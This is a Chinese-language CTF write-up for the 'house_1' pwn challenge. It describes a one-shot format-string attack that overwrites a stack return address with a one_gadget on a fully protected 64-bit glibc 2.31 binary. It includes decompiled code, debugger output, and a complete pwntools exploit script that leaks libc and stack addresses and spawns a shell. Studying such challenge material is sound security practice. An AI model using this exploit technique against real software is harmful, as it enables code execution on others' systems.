一次性栈上格式化研究

对于保护全部开启的64位,并且返回地址不是libc基址的时候,在长度受限的情况下,我们仍然可以通过格式化实现一次性修改返回地址,这个应该是常规上的极限数值的修改栈上的返回地址。

通过网盘分享的文件:house.zip
链接:
https://pan.baidu.com/s/1elMwWjsZIiIguWWsW_lGEA?pwd=aaaa 提取码: aaaa
--来自百度网盘超级会员v4的分享

house_1(2026楚慧杯)

这个题目我们用了非预期,并没有去按照题目去改全局变量然后打ret2text

看名称是house,以为是apple,但是版本的话说明并不是apple

 ⚡ root@LAPTOP-G0KOPP7R  /mnt/d/Users/Lenovo/Desktop/楚慧杯/d956ffa949ab99b149a65a9d251fa882/tempdir/PWN附件/house  strings ./libc.so.6 | grep "GNU"                                                                                
GNU C Library (Ubuntu GLIBC 2.31-0ubuntu9.16) stable release version 2.31.
Compiled by GNU CC version 9.4.0.

add函数如下,固定申请0x100大小

int add()
{
  malloc(0x100u);
  return puts("done!");
}

show函数如下,直接一个格式化字符串漏洞

unsigned __int64 show()
{
  char buf[56]; // [rsp+0h] [rbp-40h] BYREF
  unsigned __int64 v2; // [rsp+38h] [rbp-8h]

  v2 = __readfsqword(0x28u);
  puts("Please write your name:");
  read(0, buf, 0x30u);
  puts("the name is:");
  printf(buf);
  return __readfsqword(0x28u) ^ v2;
}

edit函数如下

这里的预期解的话是改这个

_BYTE *edit()
{
  _BYTE buf[72]; // [rsp+0h] [rbp-50h] BYREF
  unsigned __int64 v2; // [rsp+48h] [rbp-8h]

  v2 = __readfsqword(0x28u);
  puts("Please write your content");
  read(0, buf, nbytes);
  return buf;
}

还有另外的一个show函数

int __fastcall show_(const char *a1)
{
  return printf("content :%s\n", a1);
}

漏洞利用

我们可以泄露出来libc的基址,然后直接打ogg(因为我们通过调试确定了ogg可以直接打通)

这里我们利用rbp这个栈地址,上面写上我们的返回地址

05:0028│-018     0x7ffc4960dcc8 —▸ 0x7ffc4960de00 ◂— 1
06:0030│-010     0x7ffc4960dcd0 ◂— 0
07:0038│-008     0x7ffc4960dcd8 ◂— 0x23b81f8d5ab36600
pwndbg>
08:0040│ rbp 0x7ffc4960dce0 —▸ 0x7ffc4960dd10 ◂— 0
09:0048│+008 0x7ffc4960dce8 —▸ 0x59779979947c ◂— nop

我们泄露出来libc地址和stack地址,然后改上,第一次改好之后的效果是这样的

然后我们修改第二个位置改上我们的ogg,这个题目中的话是rbp的位置

这个题目中返回地址并不是libc,而是pie,这里说明我们改got表的话更加方便,但是这里开启了全保护,我们改got表的方式被杜绝了

我们这里需要分析写上ogg的数值

➜  chuhuibei one_gadget ./libc.so.6                    
0xe3afe execve("/bin/sh", r15, r12)
constraints:
  [r15] == NULL || r15 == NULL || r15 is a valid argv
  [r12] == NULL || r12 == NULL || r12 is a valid envp

0xe3b01 execve("/bin/sh", r15, rdx)
constraints:
  [r15] == NULL || r15 == NULL || r15 is a valid argv
  [rdx] == NULL || rdx == NULL || rdx is a valid envp

0xe3b04 execve("/bin/sh", rsi, rdx)
constraints:
  [rsi] == NULL || rsi == NULL || rsi is a valid argv
  [rdx] == NULL || rdx == NULL || rdx is a valid envp

这个题目是栈上的,并不是非栈上的,我们将其弄复杂了

既然如此,我们需要一次性改好的话需要重新

这里我们调整了很多次,仔细观察下面这个的话我们知道了是移位的问题

然后我们通过下面这个图确定是序号的问题

这里我们需要调整一下顺序,避免00字节的自我覆写的问题

这里还有一个优先级的问题

最终exp如下

这里是有概率的,需要低6位的最高位小于高6位的最高位

from pwn import *
io = process('./pwn')
context.log_level = 'debug'
context.terminal = ['tmux', 'splitw', '-h']
def cmd(choice):
    io.recvuntil(">> ")
    io.sendline(str(choice))
def add():
    cmd(1)
def pwn1(buffer):
    cmd(2)
    io.recvuntil("Please write your name:")
    io.send(buffer)
add()
gdb.attach(io,"b *$rebase(0x13B3)")
pwn1(b'%7$p%11$p')
io.recvuntil(b"0x")
lib = int(io.recv(12),16) - 0x84570
print(hex(lib))
io.recvuntil(b"0x")
stack = int(io.recv(12),16) - 0x118
print(hex(stack))
ogg = [0xe3afe,0xe3b01,0xe3b04][1]
ogg = lib + ogg
print(hex(ogg))
#ogg1 = ogg>>24&0xffffff
#ogg2 = ogg&0xffffff-(ogg>>24)&0xffffff
ogg1 = ogg&0xffffff
ogg2 = ((ogg>>24)&0xffffff)-ogg1 #这里不清楚为啥还有这个差距
pd = f"%{ogg1}c%10$n".encode()
pd += f"%{ogg2}c%11$n".encode()
pd = pd.ljust(0x20,b'\x00')
pd += p64(stack) + p64(stack+3)
print(hex(ogg1))
print(hex(ogg2))
print(hex((ogg>>24)&0xffffff))
print(hex(lib))
print(hex(ogg))
pwn1(pd)

io.interactive()